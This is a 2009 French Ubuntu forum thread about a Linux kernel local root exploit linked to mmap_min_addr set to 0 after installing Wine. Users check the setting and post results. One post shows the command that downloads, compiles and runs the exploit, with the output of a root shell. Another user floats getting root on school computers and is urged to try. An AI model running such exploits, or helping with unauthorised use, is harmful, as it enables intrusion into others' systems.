Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 05/11/2009, à 20:43

djiock

Faille locale : passez en root comme rien !

C'est tout chaud ça vient de sortir :

http://www.tux-planet.fr/local-root-exp … reference/

Eh ben je suis sous une karmic fraichement installée et... Ça marche sad
Donc ça fait peur.

Apparemment si /proc/sys/vm/mmap_min_addr n'est pas à 0 c'est bon, mais suffit d'installer wine pour que ce soit le cas...


Pourtant je lis que c'est bon à partir d'ibex... Bon que si on a pas cette fameuse valeur à 0 ? Ça vous le fait aussi ?


La route est longue mais la voie est libre.
bloug

Hors ligne

#2 Le 05/11/2009, à 21:33

HymnToLife

Re : Faille locale : passez en root comme rien !

Encore une ?

/facepalm

EDIT: ah non, elle est connue depuis longtemps celle-là. C'est la faute à WINE, et aux devs du noyau qui ont choisi de laisser passer ça putôt que de casser la compatibilité avec les binaires Windows. Comme dit Theo : "Ironic, isn't it?".

Dernière modification par HymnToLife (Le 05/11/2009, à 21:36)


- Rodrigue, as-tu du cœur ?
- Non, mais j'ai du pique !

Hors ligne

#3 Le 05/11/2009, à 21:43

HymnToLife

Re : Faille locale : passez en root comme rien !

Soit dit en passant, sur mon serveur Debian :

firas@iori ~ % cat /proc/sys/vm/mmap_min_addr
4096

Et pourtant j'ai bien WINE installé.


- Rodrigue, as-tu du cœur ?
- Non, mais j'ai du pique !

Hors ligne

#4 Le 05/11/2009, à 23:11

tooguy66

Re : Faille locale : passez en root comme rien !

Je viens de tester et j'ai également un zéro. Histoire de combler mes lacunes dans ce domaine, qu'est-ce que l'on risque ?
Peut-on se faire hacker le pc à distance ou c'est juste en local?


Dualboot Windows seven & ubuntu 14.04 64bit
gigabyte M720-US3 athlon II x4 620 6gb ram GeForce 520 1gio

Hors ligne

#5 Le 05/11/2009, à 23:27

Zakhar

Re : Faille locale : passez en root comme rien !

Si ton PC est mal sécurisé et que quelqu'un parvient à s'y connecter à distance (genre en SSH), il pourra utiliser la faille.

... et j'espère qu'ils vont faire un backport dans les noyaux précédents !

Dernière modification par Zakhar (Le 05/11/2009, à 23:27)


"A computer is like air conditioning: it becomes useless when you open windows." (Linus Torvald)

Hors ligne

#6 Le 06/11/2009, à 01:39

tooguy66

Re : Faille locale : passez en root comme rien !

C'est pas vraiment glop c't'histoire..........


Dualboot Windows seven & ubuntu 14.04 64bit
gigabyte M720-US3 athlon II x4 620 6gb ram GeForce 520 1gio

Hors ligne

#7 Le 06/11/2009, à 02:12

RedLemon

Re : Faille locale : passez en root comme rien !

malgres le resultat egal a 0, cela ne marche pas sur 9.10


« Je suis probablement l'inventeur de la combinaison Ctrl-Alt-Suppr, mais c'est Bill Gates qui l'a rendue célèbre ».
« I may have invented Control-Alt-Delete, but Bill Gates made it famous »
David Bradley
Mes wikis : http://doc.ubuntu-fr.org/utilisateurs/redlemon

Hors ligne

#8 Le 06/11/2009, à 02:28

Le Galéanthrope

Re : Faille locale : passez en root comme rien !

Je confirme, marche pas sous Ubuntu 9.10.


Miaou ! ー Nyamiou Le Galéanthrope

Hors ligne

#9 Le 06/11/2009, à 03:46

djiock

Re : Faille locale : passez en root comme rien !

Ben.. Moi si

# whoami
root

C'est quand même bizarre, surtout si votre /proc/sys/vm/mmap_min_addr est à 0

(2.6.31-14-generic)

Dernière modification par djiock (Le 06/11/2009, à 03:47)


La route est longue mais la voie est libre.
bloug

Hors ligne

#10 Le 06/11/2009, à 05:36

sebastien_frade

Re : Faille locale : passez en root comme rien !

Ubuntu 9.04, Wine d'installé, je suis à zéro. Donc aucun soucis de mon coté.

cat /proc/sys/vm/mmap_min_addr
0

Avec Free, j'ai tout compris.

Free as in Freedom.

Hors ligne

#11 Le 06/11/2009, à 06:20

Kanoba14

Re : Faille locale : passez en root comme rien !

Ça vient pas de sortir, le bug est connu depuis longtemps. Ça part d'ailleurs d'un post pas piqué des hannetons d'un des développeurs d'open bsd (http://lwn.net/Articles/360312/ qui répond dans les termes à un post de linus qui avait notamment dit que open bsd était trop souvent une distribution de singes qui se branlent devant des patchs de sécurité et où il expliquait qu'un bug de sécurité doit être considéré au même titre que n'importe quel bug. (http://article.gmane.org/gmane.linux.kernel/706950.

Sur le "Ironic, isn't it" et le fait que c'est une volonté de compatibilité avec wine, j'ai pas l'impression que le dev d'open bsd ne soit ni dans les petits papiers de linus, ni de wine; et bizarrement vu que le sujet a aussi fait surface sur la mailing-list des développeurs de wine, la discussion en est pour l'instant au fait que ça ne casserait aucune compatibilité et que wine s'en tamponne le coquillard allègrement; c'est pas compliqué, elle est déjà normalement corrigé sur les dernières versions des os (comme la 9.10) et pourtant wine marche de la même façon (tout comme le montre le deuxième post d' Hymn to life)

Hors ligne

#12 Le 06/11/2009, à 06:30

sylvainsjc

Re : Faille locale : passez en root comme rien !

sebastien_frade a écrit :

Ubuntu 9.04, Wine d'installé, je suis à zéro. Donc aucun soucis de mon coté.

yikes C'est avoir la valeur à zéro qui permet d'exploiter la faille donc tu as le souci

Chez moi valeur à 65536 big_smile  ( en fait même avec une valeur à zéro j'avais pas peur lol )

Dernière modification par sylvainsjc (Le 06/11/2009, à 06:32)


ROSA Desktop Fresh KDE 4.13.3
Mon blog sur Linux : http://linuxadvantage.blogspot.com/

Hors ligne

#13 Le 06/11/2009, à 06:51

Le Galéanthrope

Re : Faille locale : passez en root comme rien !

sebastien_frade a écrit :

Ubuntu 9.04, Wine d'installé, je suis à zéro. Donc aucun soucis de mon coté.

cat /proc/sys/vm/mmap_min_addr
0

C'est pas parce que c'est à zéro que ça va forcément marcher, teste directement l'exploit si tu veut voir que ça marche. Selon l'article, Ubuntu depuis 8.10 intègre une sécurité au noyau qui fait que ça marche pas.


Miaou ! ー Nyamiou Le Galéanthrope

Hors ligne

#14 Le 06/11/2009, à 06:54

sylvainsjc

Re : Faille locale : passez en root comme rien !

http://linuxfr.org/2009/11/05/26120.html


ROSA Desktop Fresh KDE 4.13.3
Mon blog sur Linux : http://linuxadvantage.blogspot.com/

Hors ligne

#15 Le 06/11/2009, à 07:43

Shyne

Re : Faille locale : passez en root comme rien !

Sous Archlinux avec un un noyau 2.6.31:

~ % cat /proc/sys/vm/mmap_min_addr
4096
~ % id
uid=1000(shyne) gid=100(users)
~ % ./gayros
mmap: Operation not permitted
~ % id
uid=1000(shyne) gid=100(users)

Hors ligne

#16 Le 06/11/2009, à 13:00

sebastien_frade

Re : Faille locale : passez en root comme rien !

sylvainsjc a écrit :
sebastien_frade a écrit :

Ubuntu 9.04, Wine d'installé, je suis à zéro. Donc aucun soucis de mon coté.

yikes C'est avoir la valeur à zéro qui permet d'exploiter la faille donc tu as le souci

Chez moi valeur à 65536 big_smile  ( en fait même avec une valeur à zéro j'avais pas peur lol )

Ah au temps pour moi. Ça ne me réussit pas de mal dormir. Bon, comme me l'a suggéré Le Galéanthrope, je vais tester l'exploit, ça ira plus vite.


Avec Free, j'ai tout compris.

Free as in Freedom.

Hors ligne

#17 Le 06/11/2009, à 14:26

Patrik

Re : Faille locale : passez en root comme rien !

Ben désolé de tous vous décevoir, mais ça fonctionne très bien sur la 9.10 :

Avant l'installation de Wine :

cat /proc/sys/vm/mmap_min_addr
65536

Après l'installation de Wine :

cat /proc/sys/vm/mmap_min_addr
0

Voici l'exploit :

wget www.tux-planet.fr/public/hack/exploits/local-root-exploit-gayros.c
--2009-11-06 13:08:56--  http://www.tux-planet.fr/public/hack/exploits/local-root-exploit-gayros.c
Résolution de www.tux-planet.fr... 213.186.33.4
Connexion vers www.tux-planet.fr|213.186.33.4|:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Longueur: 11133 (11K) [text/x-c]
Saving to: `local-root-exploit-gayros.c'

100%[======================================>] 11 133      --.-K/s   in 0,03s   

2009-11-06 13:08:56 (369 KB/s) - « local-root-exploit-gayros.c » sauvegardé [11133/11133]

patrik@Domicile:~$ gcc -o gayros local-root-exploit-gayros.c

patrik@Domicile:~$ ./gayros
We got NULL page babe!
Using kernel version 2.6.31-14-generic.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
We've got bush!
#  whoami
root

Oups .... !!!!

Donc, ça fonctionne parfaitement, malheureusement comme mis dans l'article, après avoir installé Wine.  hmm


lol:lol::lol:

Hors ligne

#18 Le 06/11/2009, à 14:45

sylvainsjc

Re : Faille locale : passez en root comme rien !

La faute à Wine !!! Au fait wine c'est pas un truc pour faire tourner des machins Windows ???

Alors rien d'étonnant.


ROSA Desktop Fresh KDE 4.13.3
Mon blog sur Linux : http://linuxadvantage.blogspot.com/

Hors ligne

#19 Le 06/11/2009, à 14:51

Le Galéanthrope

Re : Faille locale : passez en root comme rien !

Chez moi ça mouline pendant un bon bout de temps puis ça affiche le "We've got bush!" mais ça passe pas en root, j'ai :

We got NULL page babe!
Using kernel version 2.6.31-14-generic.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.
We've got bush!
$ $ id
uid=1000(nyamiou) gid=1000(nyamiou) groupes=4(adm),20(dialout),24(cdrom),44(video),46(plugdev),108(lpadmin),109(sambashare),110(admin),114(netdev),1000(nyamiou)
$ whoami
nyamiou

Le noyau avec lequel j'ai testé :

$ uname -r
2.6.31-14-generic

Et, j'ai Wine :

$ cat /proc/sys/vm/mmap_min_addr
0

Dernière modification par Le Galéanthrope (Le 06/11/2009, à 14:54)


Miaou ! ー Nyamiou Le Galéanthrope

Hors ligne

#20 Le 06/11/2009, à 15:10

rastatux

Re : Faille locale : passez en root comme rien !

Ubuntu 9.04, kernel 2.6.28-16-generic, wine installé :

xx@xxx:~/root$ cat /proc/sys/vm/mmap_min_addr
0
xx@xxx:~/root$ ./gayros
We got NULL page babe!
Using kernel version 2.6.28-16-generic.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.
xx@xxx:~/root$ id
uid=1000(xx) gid=1000

Voila une bonne nouvelles big_smile

edit : uname -a
Linux xxx 2.6.28-16-generic #55-Ubuntu SMP Tue Oct 20 19:48:32 UTC 2009 x86_64 GNU/Linux

Dernière modification par rastatux (Le 06/11/2009, à 18:28)


DoudouLinux est un système conçu pour les enfants afin de leur rendre l'utilisation de l'ordinateur la plus simple et la plus agréable possible. Muni d'un filtrage de contenu, il évite aussi que les enfants n'atterrissent sur des sites web peu recommandables par mégarde.

Hors ligne

#21 Le 06/11/2009, à 15:14

djiock

Re : Faille locale : passez en root comme rien !

Rassuré de voir que ça n'arrive pas qu'à moi big_smile

Et pardon mais si la faille est effectivement agée, l'exploit est lui récent. Maintenant j'ai hate de voir la réactivité, on est déjà à J+1


La route est longue mais la voie est libre.
bloug

Hors ligne

#22 Le 06/11/2009, à 16:21

Patrik

Re : Faille locale : passez en root comme rien !

Pour ceux qui ont cherché, les noyaux tournant sur des processeurs multi-core ne sont apparemment pas concernés. cool

Hors ligne

#23 Le 06/11/2009, à 16:47

Le Galéanthrope

Re : Faille locale : passez en root comme rien !

Patrik a écrit :

Pour ceux qui ont cherché, les noyaux tournant sur des processeurs multi-core ne sont apparemment pas concernés. cool

Ca explique tout.

N'empêche, c'est comme même assez monstrueux comme exploit, j'espère qu'il y aura une maj bientôt pour corriger ça. Au fait, ça marche sous OpenSuse ? Ca pourrait être intéressant pour moi de passer root sur les ordi de mon école cool


Miaou ! ー Nyamiou Le Galéanthrope

Hors ligne

#24 Le 06/11/2009, à 17:04

djiock

Re : Faille locale : passez en root comme rien !

Essaie toujours big_smile


La route est longue mais la voie est libre.
bloug

Hors ligne

#25 Le 06/11/2009, à 18:23

sylvainsjc

Re : Faille locale : passez en root comme rien !

Patrik a écrit :

Pour ceux qui ont cherché, les noyaux tournant sur des processeurs multi-core ne sont apparemment pas concernés. cool

exact si

uname -a

retourne un contenu avec SMP comme ceci :

Linux sylvain-desktop 2.6.31-14-generic #48+ureadahead2-Ubuntu SMP Wed Oct 28 15

C'est good


ROSA Desktop Fresh KDE 4.13.3
Mon blog sur Linux : http://linuxadvantage.blogspot.com/

Hors ligne